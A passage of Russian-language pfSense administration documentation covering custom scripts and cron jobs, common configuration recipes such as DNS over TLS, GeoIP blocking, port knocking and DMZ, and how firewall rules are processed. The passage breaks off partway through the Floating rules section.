- **Алфавитная сортировка** - интерфейсы отсортированы по имени, что удобно при большом количестве интерфейсов

### Дополнительные параметры отображения

| Параметр | Описание |
|---|---|
| Associated Panels Show/Hide | Управляет видимостью вспомогательных панелей (виджеты, фильтры логов, параметры мониторинга) |
| Left Column Labels | Переключает отображение текстовых меток в левой колонке форм |
| Alias Popups | Показывает содержимое алиасов при наведении курсора в правилах межсетевого экрана |
| Drag and Drop | Включает перетаскивание для изменения порядка правил |
| Login Page Color | Настройка цветовой схемы страницы авторизации |
| Login Hostname | Отображение имени хоста на странице входа |

## Сохранение настроек

После внесения изменений нажмите кнопку **Save** в нижней части страницы. Большинство параметров применяются немедленно. Исключения:

- Часовой пояс - рекомендуется перезагрузка для полной активации
- Изменение hostname/domain - может потребовать обновления сертификатов, если CN привязан к FQDN

Для продолжения настройки системы перейдите к [расширенным настройкам](/docs/pfsense/configuration/pfsense-advanced-settings/), которые охватывают параметры доступа администратора, оптимизацию межсетевого экрана и сетевого стека.


---

# Пользовательские скрипты и задачи pfSense

Source: https://opennix.org/docs/pfsense/development/pfsense-custom-scripts/


pfSense построен на FreeBSD и предоставляет полноценную командную строку, PHP-интерпретатор и механизмы автозагрузки. Это позволяет создавать пользовательские скрипты для задач, которые не покрываются веб-интерфейсом: автоматическое резервное копирование на удаленный сервер, ротация логов, мониторинговые проверки и обновление сертификатов. Для управления скриптами и задачами по расписанию в pfSense доступны пакеты Shellcmd и Cron.

## Выполнение команд через веб-интерфейс

pfSense предоставляет два инструмента для работы с системой через браузер без SSH-доступа.

### Diagnostics - Command Prompt

Страница **Diagnostics > Command Prompt** позволяет выполнять shell-команды и PHP-код непосредственно из веб-интерфейса.

**Execute Shell Command** - выполняет произвольную команду FreeBSD:

```bash
# Проверка дискового пространства
df -h

# Просмотр запущенных процессов
ps aux | grep openvpn

# Проверка сетевых соединений
netstat -an | grep ESTABLISHED | wc -l
```

**Execute PHP Command** - выполняет PHP-код с доступом к функциям pfSense:

```php
require_once("config.inc");
require_once("interfaces.inc");

// Вывод имени хоста
echo $config['system']['hostname'] . "." . $config['system']['domain'];
```

### Diagnostics - Edit File

Страница **Diagnostics > Edit File** предоставляет текстовый редактор для просмотра и изменения файлов на файловой системе. Полезна для редактирования конфигурационных файлов без SSH-доступа.

## Пакет Shellcmd - команды при загрузке

Пакет Shellcmd позволяет задавать команды, которые выполняются при загрузке pfSense. Это замена ручному редактированию config.xml для добавления тегов `<shellcmd>`.

### Установка

**System > Package Manager > Available Packages** - найти и установить **Shellcmd**.

После установки настройка доступна через **Services > Shellcmd**.

### Типы команд

| Тип | Момент выполнения | Использование |
|---|---|---|
| **shellcmd** | Конец процесса загрузки | Основные задачи при старте |
| **earlyshellcmd** | Начало процесса загрузки (до запуска сервисов) | Загрузка модулей ядра, монтирование файловых систем |
| **afterfilterchangeshellcmd** | После каждого изменения правил файрвола | Динамические правила, интеграции |

### Пример конфигурации

```text
Command: /usr/local/bin/custom-startup.sh
Type: shellcmd
Description: Custom startup script
```

Команды также можно добавлять напрямую в config.xml:

```xml
<shellcmd>/usr/local/bin/custom-startup.sh</shellcmd>
<earlyshellcmd>kldload if_tap</earlyshellcmd>
```

### Рекомендации

- Используйте абсолютные пути к исполняемым файлам
- Скрипты должны быть исполняемыми (`chmod +x`)
- Длительные операции запускайте в фоне с `&`
- Перенаправляйте вывод в лог для отладки: `/usr/local/bin/script.sh > /var/log/custom-startup.log 2>&1 &`

## Пакет Cron - задачи по расписанию

Пакет Cron предоставляет веб-интерфейс для управления cron-задачами. pfSense использует стандартный FreeBSD cron, но пакет добавляет графическое управление через **Services > Cron**.

### Установка

**System > Package Manager > Available Packages** - найти и установить **Cron**.

### Формат расписания

```text
*    *    *    *    *    command
|    |    |    |    |
|    |    |    |    +--- День недели (0-7, 0 и 7 = воскресенье)
|    |    |    +-------- Месяц (1-12)
|    |    +------------- День месяца (1-31)
|    +------------------ Час (0-23)
+----------------------- Минута (0-59)
```

### Примеры задач

| Задача | Расписание | Команда |
|---|---|---|
| Бэкап конфигурации ежедневно в 2:00 | `0 2 * * *` | `/usr/local/bin/backup-config.sh` |
| Перезапуск OpenVPN каждые 6 часов | `0 */6 * * *` | `/usr/local/sbin/pfSsh.php playback svc restart openvpn` |
| Очистка tmp каждое воскресенье | `0 3 * * 0` | `/usr/bin/find /tmp -type f -mtime +7 -delete` |
| Проверка дискового пространства каждый час | `0 * * * *` | `/usr/local/bin/check-disk.sh` |

## Пользовательские PHP-скрипты

PHP-скрипты имеют полный доступ к конфигурации и функциям pfSense. Интерпретатор находится по пути `/usr/local/bin/php`.

### Структура скрипта

```php
#!/usr/local/bin/php
<?php
require_once("config.inc");
require_once("functions.inc");
require_once("filter.inc");

// Доступ к конфигурации
$hostname = $config['system']['hostname'];
$interfaces = $config['interfaces'];

// Пример: подсчет активных правил файрвола
$rules = $config['filter']['rule'];
$active_rules = array_filter($rules, function($rule) {
    return !isset($rule['disabled']);
});

echo "Active firewall rules: " . count($active_rules) . "\n";
```

### Полезные include-файлы

| Файл | Назначение |
|---|---|
| `config.inc` | Загрузка массива `$config` |
| `functions.inc` | Общие вспомогательные функции |
| `filter.inc` | Управление правилами файрвола |
| `interfaces.inc` | Функции работы с интерфейсами |
| `openvpn.inc` | Функции управления OpenVPN |
| `certs.inc` | Функции работы с сертификатами |
| `notices.inc` | Система уведомлений |

## Автозагрузочные скрипты rc.d

Скрипты в каталоге `/usr/local/etc/rc.d/` автоматически запускаются при загрузке системы в стиле FreeBSD rc.d.

### Пример rc.d-скрипта

```sh
#!/bin/sh

# PROVIDE: custom_monitor
# REQUIRE: NETWORKING
# BEFORE: LOGIN

. /etc/rc.subr

name="custom_monitor"
rcvar="${name}_enable"
command="/usr/local/bin/custom-monitor.sh"
command_args="&"

load_rc_config $name
run_rc_command "$1"
```

Для активации добавьте в `/etc/rc.conf.local`:

```sh
custom_monitor_enable="YES"
```

## Правила devd

devd (device daemon) реагирует на системные события - подключение устройств, изменение сетевых интерфейсов. Пользовательские правила devd размещаются в `/etc/devd/`.

```text
notify 0 {
    match "system"    "IFNET";
    match "subsystem" "igb0";
    match "type"      "LINK_UP";
    action "/usr/local/bin/link-up-handler.sh";
};
```

После изменения правил перезапустите devd:

```bash
service devd restart
```

## Типовые задачи автоматизации

### Автоматический бэкап на удаленный сервер

```sh
#!/bin/sh
# /usr/local/bin/backup-config.sh
# Резервное копирование config.xml на удаленный сервер по SCP

REMOTE_USER="backup"
REMOTE_HOST="backup.example.com"
REMOTE_DIR="/backups/pfsense"
DATE=$(date +%Y%m%d-%H%M)

cp /cf/conf/config.xml /tmp/config-${DATE}.xml
scp -i /root/.ssh/backup_key /tmp/config-${DATE}.xml \
  ${REMOTE_USER}@${REMOTE_HOST}:${REMOTE_DIR}/
rm /tmp/config-${DATE}.xml

logger -t backup "Configuration backed up to ${REMOTE_HOST}"
```

### Ротация логов

```sh
#!/bin/sh
# /usr/local/bin/rotate-custom-logs.sh
# Ротация пользовательских логов

LOG_DIR="/var/log/custom"
MAX_FILES=7

for logfile in ${LOG_DIR}/*.log; do
    if [ -f "${logfile}" ]; then
        cp "${logfile}" "${logfile}.$(date +%Y%m%d)"
        : > "${logfile}"
    fi
done

# Удаление старых файлов
find ${LOG_DIR} -name "*.log.*" -mtime +${MAX_FILES} -delete
```

### Мониторинговая проверка шлюза

```sh
#!/bin/sh
# /usr/local/bin/check-gateway.sh
# Проверка доступности шлюза и уведомление

GATEWAY="10.0.0.1"
ALERT_EMAIL="admin@example.com"

if ! ping -c 3 -W 5 ${GATEWAY} > /dev/null 2>&1; then
    echo "Gateway ${GATEWAY} unreachable at $(date)" | \
      mail -s "pfSense: Gateway Down" ${ALERT_EMAIL}
    logger -t gateway-check "Gateway ${GATEWAY} is unreachable"
fi
```

### Скрипт обновления сертификатов

```php
#!/usr/local/bin/php
<?php
// /usr/local/bin/check-cert-expiry.php
// Проверка срока действия сертификатов

require_once("config.inc");
require_once("certs.inc");

$warning_days = 30;

foreach ($config['cert'] as $cert) {
    $info = openssl_x509_parse(base64_decode($cert['crt']));
    if ($info === false) continue;

    $expires = $info['validTo_time_t'];
    $days_left = floor(($expires - time()) / 86400);

    if ($days_left < $warning_days) {
        $msg = "Certificate '{$cert['descr']}' expires in {$days_left} days";
        log_error($msg);
        // Можно добавить отправку уведомления
    }
}
```

## Предупреждения о пользовательских модификациях

Пользовательские изменения в pfSense сопряжены с определенными рисками. Несоблюдение следующих правил может привести к неработоспособности системы после обновления.

| Риск | Описание | Рекомендация |
|---|---|---|
| Потеря при обновлении | Файлы вне `/usr/local/` и `/root/` перезаписываются при обновлении pfSense | Размещайте скрипты в `/usr/local/bin/` или `/root/` |
| Несовместимость API | PHP-функции pfSense могут измениться между версиями | Проверяйте работу скриптов после каждого обновления |
| Безопасность | Скрипты выполняются с правами root | Минимизируйте привилегии, проверяйте ввод |
| config.xml | Прямое редактирование config.xml может нарушить структуру | Используйте PHP API (`write_config()`) вместо прямого редактирования |
| Пакеты Shellcmd/Cron | Неработающий скрипт в shellcmd может задержать загрузку | Тестируйте скрипты перед добавлением в автозагрузку |

Перед каждым обновлением pfSense создайте полную резервную копию и составьте список всех пользовательских модификаций.

## Связанные разделы

- [API и автоматизация pfSense](/docs/pfsense/development/pfsense-api-automation/) - REST API, Ansible, Terraform и программное управление через HTTP
- [Резервное копирование pfSense](/docs/pfsense/backup/pfsense-backup-recovery/) - штатные средства резервного копирования и восстановления конфигурации
- [Пакеты pfSense](/docs/pfsense/packages/) - установка и управление пакетами Shellcmd, Cron и другими расширениями


---

# Популярные рецепты конфигурации pfSense

Source: https://opennix.org/docs/pfsense/recipes/pfsense-common-recipes/


В этом разделе собраны наиболее востребованные рецепты конфигурации pfSense. Каждый рецепт включает описание задачи и пошаговую инструкцию. Рецепты рассчитаны на администраторов, знакомых с базовой настройкой pfSense и интерфейсом управления.

Перед выполнением рецептов рекомендуется создать резервную копию конфигурации: Diagnostics - Backup & Restore. Это позволит откатить изменения в случае ошибки.

## Прозрачный файрвол (Transparent Bridge)

Прозрачный файрвол работает на втором уровне OSI, фильтруя трафик без изменения IP-адресации сети. pfSense размещается между двумя сегментами сети как невидимый мост, позволяя фильтровать трафик без перенастройки IP-адресов на хостах.

### Пошаговая настройка

1. Перейдите в **Interfaces - Assign** и убедитесь, что оба интерфейса (например, WAN и LAN) назначены
2. Перейдите в **Interfaces - Bridges** и создайте мост:
   - **Member Interfaces** - выберите оба интерфейса
3. Перейдите в **Interfaces - Assign**, назначьте созданный мост как новый интерфейс (например, BRIDGE0)
4. Настройте IP-адрес на мостовом интерфейсе (для управления pfSense)
5. Удалите IP-адреса с исходных интерфейсов-членов моста
6. Перейдите в **System - Advanced - System Tunables** и установите:
   - `net.link.bridge.pfil_member` = **0**
   - `net.link.bridge.pfil_bridge` = **1**
7. Создайте [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) на мостовом интерфейсе для фильтрации трафика

> **Важно**: при работе в режиме моста pfSense не выполняет NAT. Маршрутизация остается на вышестоящем маршрутизаторе. Правила файрвола применяются к мостовому интерфейсу, а не к отдельным членам моста.

## DNS over TLS (DoT)

DNS over TLS шифрует DNS-запросы между pfSense и вышестоящими DNS-серверами, защищая их от перехвата и модификации провайдером или злоумышленником.

### Пошаговая настройка

1. Перейдите в **System - General Setup**
2. Настройте DNS-серверы с поддержкой DoT:

| DNS-сервер | IP-адрес | Hostname (TLS) |
|---|---|---|
| Cloudflare | 1.1.1.1 | cloudflare-dns.com |
| Google | 8.8.8.8 | dns.google |
| Quad9 | 9.9.9.9 | dns.quad9.net |

3. Перейдите в **Services - DNS Resolver**
4. Включите DNS Resolver, если не включен
5. Включите **DNS Query Forwarding**
6. Включите **Use SSL/TLS for outgoing DNS Queries to Forwarding Servers**
7. В разделе **Custom Options** добавьте (опционально):

```
server:
  tls-cert-bundle: "/etc/ssl/cert.pem"
```

8. Сохраните и примените изменения

### DNS over HTTPS (DoH)

pfSense не поддерживает DoH нативно в DNS Resolver. Для реализации DoH используйте пакет **dns-over-https-proxy** или настройте перенаправление через Unbound на локальный DoH-прокси. DoT является рекомендуемым вариантом для pfSense.

## Блокировка по странам (GeoIP)

GeoIP-блокировка позволяет ограничить трафик из определенных стран. Используется для защиты серверов от массовых атак из регионов, с которыми нет деловых отношений.

### Пошаговая настройка

1. Зарегистрируйтесь на MaxMind.com и получите бесплатный ключ GeoLite2
2. Перейдите в **Firewall - Aliases** и создайте новый алиас:
   - **Name** - например, Blocked_Countries
   - **Type** - URL Table (IPs)
   - **URL** - укажите URL-файл с IP-диапазонами нужных стран
3. Альтернативный подход - установите пакет **pfBlockerNG**:
   - System - Package Manager - Available Packages - pfBlockerNG-devel
   - Настройте GeoIP в **Firewall - pfBlockerNG - GeoIP**
   - Выберите континенты и страны для блокировки
   - pfBlockerNG автоматически создаст [алиасы](/docs/pfsense/firewall/pfsense-firewall-aliases/) и правила файрвола
4. Создайте правило блокировки на WAN:

```
Action: Block
Interface: WAN
Source: Blocked_Countries (алиас)
Destination: any
```

> **Предупреждение**: GeoIP-базы не являются точными на 100%. VPN и прокси-серверы позволяют обойти географическую блокировку. Используйте GeoIP как дополнительный уровень защиты, а не единственный.

## Port Knocking

Port knocking - метод скрытия сервисов путем требования последовательности подключений к определенным портам перед открытием доступа. Реализуется через серию правил файрвола с отслеживанием состояний.

### Пошаговая настройка

1. Определите последовательность портов (например, TCP 7000, TCP 8000, TCP 9000)
2. Перейдите в **Firewall - Rules - WAN**
3. Создайте правила для каждого этапа последовательности, используя **pf anchors** через custom rules или пакет **knockd**:

Вариант с пакетом:

1. Установите пакет через pkg: подключитесь к консоли pfSense
2. Создайте файл конфигурации knockd:

```
[options]
  logfile = /var/log/knockd.log

[openSSH]
  sequence    = 7000,8000,9000
  seq_timeout = 10
  command     = /sbin/pfctl -t knock_allowed -T add %IP%
  tcpflags    = syn

[closeSSH]
  sequence    = 9000,8000,7000
  seq_timeout = 10
  command     = /sbin/pfctl -t knock_allowed -T delete %IP%
  tcpflags    = syn
```

3. Создайте алиас-таблицу `knock_allowed` в правилах файрвола
4. Создайте правило на WAN, разрешающее доступ к SSH с источником из таблицы `knock_allowed`

## Принудительное перенаправление DNS

Перенаправление DNS заставляет все DNS-запросы из LAN проходить через DNS-сервер pfSense, даже если клиенты указали другие DNS-серверы (например, 8.8.8.8 жестко прописан в устройстве).

### Пошаговая настройка

1. Перейдите в **Firewall - NAT - Port Forward**
2. Создайте правило перенаправления:

```
Interface: LAN
Protocol: TCP/UDP
Source: LAN net
Source port: any
Destination: any (Invert Match отключен)
Destination: NOT "LAN Address" (чтобы исключить запросы к самому pfSense)
Destination port: 53
Redirect target IP: 127.0.0.1
Redirect target port: 53
```

3. Повторите для DNS over TLS (порт 853), если хотите заблокировать прямые DoT-запросы клиентов:

```
Action: Block
Interface: LAN
Protocol: TCP
Source: LAN net
Destination: any
Destination port: 853
```

4. Убедитесь, что DNS Resolver запущен и привязан к LAN-интерфейсу

## Несколько публичных IP-адресов

Сценарий: провайдер предоставил блок публичных IP-адресов, и необходимо направить разные IP на разные внутренние серверы.

### Пошаговая настройка

1. Перейдите в **Firewall - Virtual IPs** и добавьте каждый дополнительный публичный IP:
   - **Type** - IP Alias (если IP из той же подсети, что и WAN) или Other (для отдельных подсетей)
   - **Interface** - WAN
   - **Address** - публичный IP-адрес
2. Перейдите в **Firewall - NAT - 1:1** для создания трансляции один-к-одному:
   - **Interface** - WAN
   - **External subnet IP** - публичный IP
   - **Internal IP** - приватный IP внутреннего сервера
3. Или используйте **Firewall - NAT - Port Forward** для перенаправления конкретных портов:
   - **Destination** - выберите Virtual IP
   - **Redirect target IP** - внутренний IP сервера
4. Создайте правила файрвола на WAN для разрешения входящего трафика на Virtual IP

Подробности о настройке NAT описаны в разделе [NAT pfSense](/docs/pfsense/nat/).

## Настройка DMZ

DMZ (Demilitarized Zone) - изолированный сегмент сети для серверов, доступных из интернета. DMZ отделяет публичные серверы от внутренней сети.

### Пошаговая настройка

1. Подключите третий сетевой интерфейс к pfSense (физический или VLAN)
2. Перейдите в **Interfaces - Assign** и назначьте новый интерфейс
3. Настройте интерфейс DMZ:
   - **IPv4 Address** - например, 10.0.100.1/24
   - **Enable Interface** - включить
4. Настройте DHCP для DMZ (опционально): Services - DHCP Server - DMZ
5. Создайте правила файрвола:

**На WAN** - разрешить входящий трафик к серверам DMZ:

```
Action: Pass
Interface: WAN
Destination: DMZ net (конкретные серверы и порты)
```

**На DMZ** - разрешить серверам выход в интернет, запретить доступ к LAN:

```
Action: Block
Interface: DMZ
Source: DMZ net
Destination: LAN net

Action: Pass
Interface: DMZ
Source: DMZ net
Destination: any
```

**На LAN** - разрешить доступ из LAN в DMZ (опционально):

```
Action: Pass
Interface: LAN
Source: LAN net
Destination: DMZ net
```

6. Настройте NAT Port Forward для проброса портов с WAN на серверы DMZ

## Безопасное удаленное администрирование

Удаленный доступ к веб-интерфейсу pfSense через интернет требует дополнительных мер защиты.

### Пошаговая настройка

1. **Измените порт веб-интерфейса**: System - Advanced - Admin Access, установите нестандартный порт HTTPS (например, 8443)
2. **Ограничьте доступ по IP**: создайте алиас с разрешенными IP-адресами администраторов
3. **Создайте правило на WAN**:

```
Action: Pass
Interface: WAN
Protocol: TCP
Source: Admin_IPs (алиас)
Destination: WAN address
Destination port: 8443
```

4. **Рекомендуемый подход** - используйте VPN вместо прямого доступа:
   - Настройте OpenVPN или WireGuard на pfSense (раздел [VPN](/docs/pfsense/vpn/))
   - Подключайтесь к pfSense через VPN-туннель
   - Не открывайте веб-интерфейс на WAN

5. **Включите защиту от перебора**: System - Advanced - Login Protection
   - Установите порог блокировки (например, 5 попыток за 5 минут)
   - Время блокировки - 30 минут

## Мониторинг трафика по IP

Отслеживание потребления полосы пропускания каждым хостом в сети.

### Пошаговая настройка

1. **Встроенный мониторинг** - Status - Traffic Graph:
   - Показывает трафик в реальном времени по интерфейсам
   - Ограничен текущим моментом, без исторических данных

2. **Пакет ntopng** (рекомендуется для детального мониторинга):
   - Установите: System - Package Manager - Available Packages - ntopng
   - Настройте: Diagnostics - ntopng Settings
   - Укажите интерфейсы для мониторинга (LAN, WAN)
   - Веб-интерфейс ntopng доступен по адресу https://pfSense_IP:3001

3. **Пакет Darkstat** (легковесная альтернатива):
   - Установите через Package Manager
   - Настройте интерфейсы для мониторинга
   - Отображает статистику по хостам и протоколам

4. **Пакет BandwidthD**:
   - Генерирует графики потребления полосы пропускания по IP
   - Хранит исторические данные
   - Подходит для отчетности

Для комплексного мониторинга pfSense с использованием Prometheus обратитесь к разделу [мониторинг](/docs/pfsense/monitoring/).

## VPN с Split DNS

Split DNS позволяет разделить разрешение DNS-имен: корпоративные домены разрешаются через внутренний DNS-сервер через VPN, а остальные - через публичные DNS-серверы.

### Пошаговая настройка

1. Настройте OpenVPN-сервер на pfSense (раздел [VPN](/docs/pfsense/vpn/))
2. В настройках OpenVPN-сервера:
   - Не устанавливайте флаг **Redirect IPv4 Gateway** (чтобы не направлять весь трафик через VPN)
   - В поле **DNS Server** укажите IP-адрес DNS-сервера в корпоративной сети
   - В поле **DNS Domain** укажите корпоративный домен (например, corp.example.com)
3. Перейдите в **Services - DNS Resolver**
4. В разделе **Domain Overrides** добавьте запись:
   - **Domain** - корпоративный домен (corp.example.com)
   - **IP Address** - адрес внутреннего DNS-сервера
5. Настройте маршрутизацию:
   - В настройках OpenVPN-сервера добавьте **IPv4 Local Network** - подсети, доступные через VPN
   - Клиент получит маршруты только к указанным подсетям

6. На стороне клиента убедитесь, что DNS-суффикс корпоративного домена передается через VPN-подключение

Для общей информации по настройке VPN обратитесь к разделу [VPN pfSense](/docs/pfsense/vpn/). Вопросы устранения неполадок рассмотрены в [руководстве по диагностике](/docs/pfsense/troubleshooting/pfsense-general-troubleshooting/).


---

# Правила файрвола pfSense - создание и управление ими

Source: https://opennix.org/docs/pfsense/firewall/pfsense-firewall-rules/


Файрвол pfSense построен на основе pf (packet filter) - системы фильтрации пакетов, заимствованной из OpenBSD. pf выполняет фильтрацию с сохранением состояния соединений (stateful inspection): после разрешения первого пакета соединения все последующие пакеты этого же соединения пропускаются автоматически на основании записи в таблице состояний (state table). Это означает, что правило файрвола необходимо создавать только для инициирующего направления трафика - ответный трафик обрабатывается без явного правила.

Материал ориентирован на администраторов, имеющих опыт работы с межсетевыми экранами Cisco ASA, FortiGate или MikroTik, и переходящих на pfSense. Для каждого ключевого отличия приведены пояснения, упрощающие миграцию.

## Принципы обработки правил

### Трёхуровневая иерархия правил

pfSense обрабатывает правила файрвола в строго определённом порядке. Правила делятся на три класса, которые оцениваются последовательно:

1. **Floating rules** - обрабатываются первыми. Применяются к одному или нескольким интерфейсам одновременно и поддерживают фильтрацию в обоих направлениях.
2. **Правила групп интерфейсов** - обрабатываются вторыми. Применяются ко всем интерфейсам, входящим в группу (включая вкладки VPN).
3. **Правила интерфейсов** - обрабатываются последними. Применяются только к конкретному интерфейсу.

Порядок имеет практическое значение: если правило группы интерфейсов заблокировало трафик, правило на вкладке конкретного интерфейса не может его отменить - пакет уже обработан на предыдущем уровне.

### Принцип first match wins

Внутри каждого уровня правила обрабатываются последовательно сверху вниз. Первое совпавшее правило определяет судьбу пакета - дальнейшая проверка не выполняется. Пакеты, не совпавшие ни с одним правилом, отбрасываются неявным правилом запрета (implicit deny).

> **Внимание**:
>
> Floating rules с отключённым флагом Quick работают по обратному принципу - last match wins. Это исключение рассмотрено в разделе [Floating rules](#floating-rules).

### Привязка к интерфейсу и направление

Правила на вкладках интерфейсов фильтруют только **входящий** трафик на соответствующем интерфейсе. Трафик от хостов LAN обрабатывается правилами LAN, трафик из интернета - правилами WAN. Фильтрация исходящего трафика на уровне интерфейса не выполняется - для этого используются floating rules.

### Сравнение с другими платформами

| Характеристика | pfSense (pf) | Cisco ASA | FortiGate | MikroTik RouterOS |
|---|---|---|---|---|
| Модель обработки | First match wins | First match wins (ACL) | Policy ID, first match wins | Chains (filter/nat/mangle) |
| Привязка правил | Per-interface, inbound | Per-interface, inbound | Zone-based (zone pairs) | Per-chain, configurable |
| Неявное правило | Deny (silent) | Deny (implicit) | Deny (policy ID 0) | Accept (default policy) |
| Stateful | Да (по умолчанию) | Да (по умолчанию) | Да (по умолчанию) | Требует `connection-state` matcher |
| Floating/Global rules | Да (floating) | Global ACL | Global policy | Forward chain |

Администраторам MikroTik следует обратить особое внимание на различие моделей: в MikroTik RouterOS политика по умолчанию - Accept (пропускать), в pfSense - Deny (запрещать). При миграции необходимо убедиться, что все разрешающие правила созданы явно.

### Автоматически генерируемые правила

pfSense автоматически создаёт несколько служебных правил, которые не отображаются в веб-интерфейсе как обычные правила:

- **Anti-lockout rule** - предотвращает блокировку административного доступа. Разрешает трафик из любого источника внутренней сети к IP-адресу LAN-интерфейса на порты управления (по умолчанию - веб-интерфейс и SSH). Отключается в **System > Advanced > Admin Access**.
- **Anti-spoofing (uRPF)** - проверяет обратный маршрут для каждого пакета по RFC 3704 (Unicast Reverse Path Forwarding). Пакеты с адресами источника, несовместимыми с таблицей маршрутизации, отбрасываются.
- **Block private networks** - блокирует RFC 1918 адреса на WAN-интерфейсе (при включённой опции в настройках интерфейса).
- **Block bogon networks** - блокирует пакеты с адресами из незанятого и зарезервированного адресного пространства. Список bogon-сетей обновляется ежемесячно с серверов Netgate.

## Интерфейс управления правилами

Управление правилами файрвола осуществляется через **Firewall > Rules**. Каждый сетевой интерфейс представлен отдельной вкладкой. Дополнительно присутствует вкладка **Floating** для правил, применяемых к нескольким интерфейсам.

![Список правил файрвола pfSense](/img/pfsense/pfsense-firewall-rules-list.webp)
<p style="text-align: center;">Рис. 1. Список правил файрвола на вкладке LAN</p>

На странице списка правил отображаются:

- **Порядковый номер и действие** - значок действия (Pass, Block, Reject) с индикацией цветом
- **Интерфейс** - интерфейс, к которому привязано правило
- **Протокол** - TCP, UDP, ICMP или другой протокол IP
- **Источник и назначение** - адреса, сети или алиасы
- **Порт** - порт назначения (для TCP/UDP/SCTP)
- **Gateway** - шлюз для policy routing (при наличии)
- **Описание** - текстовое описание правила

Правила можно перемещать перетаскиванием для изменения порядка, дублировать, отключать без удаления и группировать с помощью разделителей (separators).

## Создание правила

Для создания нового правила необходимо перейти на вкладку нужного интерфейса в **Firewall > Rules** и нажать одну из кнопок добавления (добавить в начало или в конец списка).

![Редактирование правила файрвола pfSense](/img/pfsense/pfsense-firewall-rule-edit.webp)
<p style="text-align: center;">Рис. 2. Форма редактирования правила файрвола</p>

### Action (действие)

![Выбор действия правила файрвола](/img/pfsense/pfsense-firewall-rule-action.webp)
<p style="text-align: center;">Рис. 3. Выбор действия правила</p>

Поле **Action** определяет, что произойдёт с пакетом при совпадении с правилом:

| Действие | Поведение | Когда использовать |
|---|---|---|
| **Pass** | Пакет пропускается. Создаётся запись в таблице состояний (при включённом state tracking). | Разрешающие правила для легитимного трафика |
| **Block** | Пакет отбрасывается без уведомления отправителя. | Запрет трафика без раскрытия информации о файрволе |
| **Reject** | Пакет отбрасывается с отправкой уведомления отправителю: TCP RST для TCP-пакетов, ICMP Unreachable для остальных протоколов. | Запрет трафика внутри доверенных сетей - ускоряет обнаружение ошибок конфигурации на стороне клиента |

> **Внимание**:
>
> Действие Reject не следует использовать на WAN-интерфейсе. Отправка уведомлений об отклонении пакетов в интернет раскрывает наличие файрвола и может использоваться для разведки сетевой инфраструктуры.

### Interface (интерфейс)

Определяет интерфейс, на котором действует правило. Правило фильтрует трафик, **входящий** на указанный интерфейс. Это ключевой момент: для разрешения трафика из LAN в интернет правило создаётся на вкладке LAN, а не WAN.

### Address Family (семейство адресов)

Определяет, к какому типу IP-пакетов применяется правило:

- **IPv4** - только IPv4-трафик
- **IPv6** - только IPv6-трафик
- **IPv4+IPv6** - оба типа трафика в одном правиле

При использовании алиасов в полях Source или Destination система автоматически применяет только те записи алиаса, которые соответствуют выбранному семейству адресов.

### Protocol (протокол)

Определяет протокол IP-пакета:

- **TCP**, **UDP**, **SCTP** - транспортные протоколы с возможностью указания портов
- **TCP/UDP** - совпадение с TCP или UDP в одном правиле
- **ICMP** - с возможностью выбора конкретных типов ICMP-сообщений (Echo Request, Destination Unreachable и др.)
- **Any** - любой протокол
- Другие протоколы IP: ESP, AH, GRE, IPEncap, IGMP и т.д.

### Source и Destination (источник и назначение)

Каждое поле поддерживает несколько типов значений:

- **Any** - любой адрес
- **Single host or alias** - один IP-адрес или алиас
- **Network** - подсеть в нотации CIDR (например, 192.168.1.0/24)
- **Адрес интерфейса** - LAN address, WAN address и т.д. (динамически подставляется текущий адрес интерфейса)
- **PPPoE/L2TP clients** - диапазон адресов клиентов PPPoE или L2TP
- **This firewall (self)** - только для Destination; совпадает с любым адресом, назначенным файрволу

Опция **Invert Match** инвертирует условие: правило совпадает со всеми адресами, кроме указанных.

### Port (порт)

Для протоколов TCP, UDP и SCTP доступна настройка портов источника и назначения:

- Одиночный порт: `443`
- Диапазон: `1024-65535`
- Алиас портов: `WebPorts` (содержащий набор портов)

> **Внимание**:
>
> Фильтрация по порту источника используется крайне редко. В подавляющем большинстве случаев достаточно указать только порт назначения.

### Gateway (шлюз)

По умолчанию файрвол использует системную таблицу маршрутизации для определения следующего узла (next hop). Явное указание шлюза в правиле реализует **policy routing** - принудительную маршрутизацию трафика через указанный шлюз или группу шлюзов (gateway group).

Типичные сценарии применения:

- Направление трафика определённых хостов через конкретный WAN-интерфейс в конфигурации Multi-WAN
- Маршрутизация трафика через VPN-шлюз для определённых подсетей
- Балансировка нагрузки между несколькими WAN-каналами

### Logging (журналирование)

Включение опции **Log** активирует запись событий совпадения правила в журнал файрвола. Журнал доступен в **Status > System Logs > Firewall**. Рекомендуется включать журналирование для правил блокировки критичного трафика и при диагностике проблем.

Избыточное журналирование создаёт нагрузку на систему и затрудняет анализ. На производственных системах следует журналировать только те правила, для которых это действительно необходимо.

### Description (описание)

Текстовое описание правила длиной до 52 символов. Рекомендуется указывать назначение правила и номер заявки (тикета), если правило создано по запросу. Описание не влияет на обработку трафика, но существенно упрощает аудит и сопровождение набора правил.

### Дополнительные параметры

При раскрытии секции **Advanced Options** становятся доступны расширенные настройки:

- **Source OS** - пассивное определение операционной системы отправителя по характеристикам TCP SYN-пакетов (p0f fingerprinting)
- **TCP Flags** - совпадение по конкретным TCP-флагам (SYN, ACK, FIN, RST, URG, PSH)
- **Schedule** - привязка правила к расписанию (правило активно только в указанное время)
- **Таgging** - маркировка пакетов строковым тегом для последующего совпадения в floating rules
- **Max states / Max source nodes** - ограничение количества состояний (глобально и по IP-адресу источника)
- **Max connections per host / Max new connections per second** - ограничение скорости установления соединений (только TCP)
- **VLAN Priority (802.1p)** - совпадение и установка приоритета PCP для QoS

## Floating rules

Floating rules - расширенные правила файрвола, которые предоставляют возможности, недоступные на вкладках обычных интерфейсов. Управление floating rules осуществляется на вкладке **Firewall > Rules > Floating**.

![Floating rules pfSense](/img/pfsense/pfsense-firewall-floating-rules.webp)
<p style="text-align: center;">Рис. 4. Вкладка Floating rules</p>

### Отличия от правил интерфейсов

| Характеристика | Правила интерфейсов | Floating rules |
|---|---|---|
| Привязка | Один интерфейс | Один, несколько или все интерфейсы |
| Направление | Только входящий (inbound) | Входящий, исходящий или оба |
| Порядок обработки | После floating и group rules | Первыми (наивысший приоритет) |
| Действие Match | Недоступно | Доступно (для traffic shaping) |
| Reply-to | Автоматически добавляется | Не добавляется автоматически |

### Направление (Direction)

Floating rules поддерживают три варианта направления:

- **in** - только входящий трафик на выбранных интерфейсах
- **out** - только исходящий трафик на выбранных интерфейсах
- **any** - трафик в обоих направлениях

### Флаг Quick

Флаг **Quick** определяет способ обработки совпадений:

